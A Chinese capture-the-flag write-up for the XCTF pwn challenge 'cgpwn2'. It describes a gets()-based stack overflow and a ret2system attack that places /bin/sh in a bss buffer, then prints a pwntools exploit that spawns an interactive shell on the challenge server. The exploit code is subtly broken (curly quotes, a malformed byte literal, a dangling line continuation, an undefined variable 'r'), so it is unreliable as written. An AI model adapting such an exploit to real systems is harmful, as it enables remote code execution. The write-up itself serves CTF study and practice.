T5 cgpwn2
2023-01-09WP
攻防世界 pwn题
0x01
file checksec——32-bit,开启NX保护
0x02
IDA中打开window发现这题又是一个找不到/bin/sh的
但是在pwn函数中还是找到了system函数的
然后我们来看hello函数的反汇编代码
好像有点复杂,简单来说就是前面先定义了一堆变量,然后条件判断先不看了先看后面的
首先要求我们输入一个名字,通过fgets函数完成,并且从键盘最多只能读取32h个字符到name
然后再通过gets函数从键盘读取字符到s区域,没有输入字符数量的限制
其中name是bss段的一个大小为34的区域,
s是长度为0x26个字节的区域
于是我们可以向name区域输入/bin/sh,然后让这个地址作为system函数的参数,而s则用来进行栈溢出,并让溢出的返回地址为system函数的地址
0x03
exp
from pwn import *
p = remote(’61.147.171.105‘,51582)
target = 0x804855A
binsh = 0x804A080
payload = b'a' * 0x26 +b 'bbbb' #覆盖s和ebp的数据
+ p32(target) + p32(binsh)#返回gets函数的地址和参数
a = r.recvuntil('e\n')
p.sendline('/bin/sh')#向fget函数发送字符串
a = r.recvuntil(':\n')#等待接受到括号内的信息后再运行下面的内容
p.sendline(payload)#发送payload
p.interactive()
好像不要a = r.recvuntil(‘e\n’),a = r.recvuntil(‘:\n’)也可以……